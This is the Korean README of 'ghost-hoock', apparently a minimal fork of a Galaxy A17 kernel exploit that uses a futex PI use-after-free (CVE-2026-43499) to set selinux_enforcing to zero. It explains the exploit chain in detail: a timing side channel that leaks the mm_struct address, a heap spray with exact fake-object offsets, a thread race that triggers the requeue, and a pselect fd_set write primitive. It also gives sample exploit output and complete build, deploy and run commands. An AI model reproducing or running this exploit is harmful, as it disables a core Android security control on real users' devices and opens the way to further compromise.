
GhostLock은 하나의 프리미티브로 축소되었습니다: futex PI UAF(CVE-2026-43499)를 통한 Galaxy A17(BZA5)의 SELinux 비활성화. root 없음, cred 패치 없음, rwforge 없음.
GhostLock의 최소 포크로, 단 하나의 프리미티브만 유지합니다: CVE-2026-43499(futex PI UAF)를 통해 SELinux를 끄는 것입니다.
ghost-hoock은 Mobile Hacking Lab의 GhostLock 익스플로잇을 간소화한 포크로, 단일 프리미티브로 축소되었습니다:
futex PI UAF를 통한 하나의 제한된 쓰기 ->
selinux_enforcing = 0.
루트 없음, cred 덮어쓰기 없음, rwforge 채널 없음, UMH 없음, configfs 없음. 취약한 커널에서 SELinux를 permissive 모드로 전환하는 데 필요한 최소한만 담았습니다.
Samsung Galaxy A17(SM-A175F, BZA5) 에서의 출력 예시:
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
그런 다음:
$ getenforce
Permissive
getenforce가 Permissive를 반환함
이 익스플로잇은 CVE-2026-43499를 대상으로 합니다. 이는 Linux 커널의 futex PI(Priority Inheritance) rt_mutex 체인에 존재하는 use-after-free입니다. ghost-hoock의 체인은 네 단계로 구성됩니다.
커널의 futex 해시 테이블을 대상으로 한 타이밍 부채널입니다. 사용자 공간 futex 집합에 대해 FUTEX_WAKE_PRIVATE를 반복 호출하고, rdtsc 델타를 측정하여 해시 버킷 충돌을 상관 분석합니다. 이를 통해 나중에 필요로 하는 스프레이 페이지의 기반이 되는, 우리 자신의 mm_struct 주소를 복구합니다.
이는 KernelSnitch 기법으로, 원본 익스플로잇에서 그대로 가져온 것입니다.
큰 order-3 슬랩 페이지를 할당한 다음, PI 경로에서 사용하는 가짜 객체 레이아웃으로 배치합니다.
| 오프셋 | 객체 | 용도 |
|---|---|---|
0x0E80 | fake_lock | 가짜 rt_mutex |
0x0F80 | fake_fops | 가짜 file_operations 테이블 |
0x1180 | fake_w0 | 대상 트리로 사용되는 가짜 rt_mutex_waiter |
0x1240 | fake_right | 가짜 rb-tree 오른쪽 노드 — 쓰기 값이 여기서 나옵니다 |
0x1260 | fake_left | 가짜 rb-tree 왼쪽 노드 |
0x1280 | fake_task | 가짜 task_struct |
페이지 전체는 sendmsg의 SKB_SEND_SIZE = 2 * ORDER3_SIZE만큼 AF_UNIX 소켓을 통해 전송되므로, skb 데이터가 유출된 페이지에 안착합니다. 그런 다음 통제된 순서로 해제하여 우리 페이지가 회수 가능한 per-cpu partial 슬랩에 놓이도록 합니다.
세 개의 스레드:
f_wait에서 FUTEX_WAIT_REQUEUE_PI를 호출하며, f_pi_target을 대상으로 합니다.f_pi_target에 대해 FUTEX_LOCK_PI를 보유한 뒤 f_pi_chain에 대해서도 보유합니다.sched_setattr(tid, SCHED_BATCH, nice=19)를 반복 호출하며 스핀합니다. 이는 rt_mutex_setprio()를 트리거하여 커널이 가짜 PI 트리를 순회하도록 강제합니다.메인 스레드에서의 네 번째 호출인 FUTEX_CMP_REQUEUE_PI(1, f_pi_target)이 requeue를 시작합니다. 커널 내부에서 rb_erase()가 우리의 가짜 트리에 대해 실행됩니다.
pselect() / select()는 사용자의 fd_set을 커널 스택으로 복사한 뒤 이를 순회합니다. 우리는 fd_set 비트맵을 조작하여 커널이 rb-tree 포인터로 취급하는 워드들이 fake_right와 그 부모에 위치하도록 하고, 그 결과 생성되는 rb_set_parent(child, parent)는 다음과 같이 됩니다.
*(uint64_t *)target = value | color
mode = 1(Write 1), target = selinux_enforcing, value = base + 0x100인 경우 byte0 = 0, byte1 = 1로 인코딩됩니다. 커널은 selinux_enforcing[0]에 0을 기록하며, 이제 SELinux는 permissive 상태가 됩니다.
ret = 6(기본값 9 대신)은 쓰기가 적용되었음을 확인시켜 줍니다. consumer가 select() 중에 target에 도달하여 조기에 깨어난 것입니다.
이것은 mobilehackinglab/ghostlock-a17(MIT)의 포크입니다. 다음은 업스트림 익스플로잇에서 1:1로 가져온 것입니다:
| 구성 요소 | 파일 | 비고 |
|---|---|---|
| KernelSnitch | src/kernelsnitch/* | futex 해시 타이밍을 통한 mm_struct 유출 |
| 힙 스프레이 | src/spray.c | 가짜 객체 레이아웃, prepare_skb_payload, prepare_kernel_page |
| PI 경로 + pselect | src/route.c | prepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread |
| BZA5 오프셋 | include/offsets_bza5.h | 6.12.23-android16-5-abA175FXXS5BZD2-4k에서 추출한 심볼 테이블 |
| BZA5 타깃 헤더 | include/target.h | 주소 레이아웃, 페이로드 오프셋(W1 하위 집합만) |
| 런타임 구조체 오프셋 | include/runtime_struct_offsets.h | task_struct 필드용 _RSO() 매크로 |
보조 코드(pr_* 매크로, SYSCHK, pin_to_core, set_limit, set_unbuffer)도 원본에서 그대로 유지되었습니다.
원본 GhostLock은 A17에서 완전한 root를 달성합니다. rwforge 물리적 R/W 채널을 설치하고, cred / real_cred를 패치하고, init 자격 증명으로 UMH 헬퍼를 실행하고, 로그를 캡처하는 등의 작업을 수행합니다. ghost-hoock에서는 첫 번째 제한된 쓰기 이후의 모든 것이 제거되었습니다.
| 제거된 파일 | 원본에 존재했던 이유 |
|---|---|
rwforge_a17.c | pipe_buffers를 통한 marching-forger 물리적 R/W 채널 |
pipe_physrw.c, pipe_reclaim.c | 파이프 버퍼 회수 -> 임의 커널 읽기/쓰기 |
root.c | cred / real_cred 덮어쓰기, su 설치, SELinux SID 패치 |
umh_root.c, wq_umh_root() (main.c 내) | 위조된 커널 워크큐 항목에서 init 자격 증명 헬퍼 실행 |
slide.c | boot_id 오라클을 통한 KASLR 유출 — BZA5에서는 불필요, KASLR이 꺼져 있음 |
miniadb.c | ADB TCP를 통한 부트스트랩 |
try_cfi_stage() (fops.c 내) | root 경로 부트스트랩에 사용된 CFI 친화적 configfs 단계 |
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture() | 전체 root 파이프라인 |
install_embedded_su(), install_embedded_wallpaper() | root 설치 헬퍼 |
Write 2(cred), patch_cred_*, patch_task_seccomp | W1 이후 자격 증명 탈취 |
원본 GhostLock은 이 포크보다 더 완전하고 강력합니다. ghost-hoock은 대체물이 아니라, SELinux를 끄는 하나의 좁은 작업을 위한 최소 PoC입니다.
$PATH에 clang과 make가 필요합니다. Termux에서 테스트되었으며, 툴체인이 있으면 adb shell을 통해서도 작동합니다.
git clone https://github.com/genksome/ghost-hoock
cd ghost-hoock
make
출력: ./ghost-hoock (aarch64, PIE).
Android NDK 사용 (PC에서)
make NDK=/path/to/android-ndk-r26
또는 수동으로:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
교차 컴파일 검사
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirm SELinux is currently enforcing
getenforce
# -> Enforcing
# run
/data/local/tmp/ghost-hoock
# verify
getenforce
# -> Permissive
옵션
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
환경 변수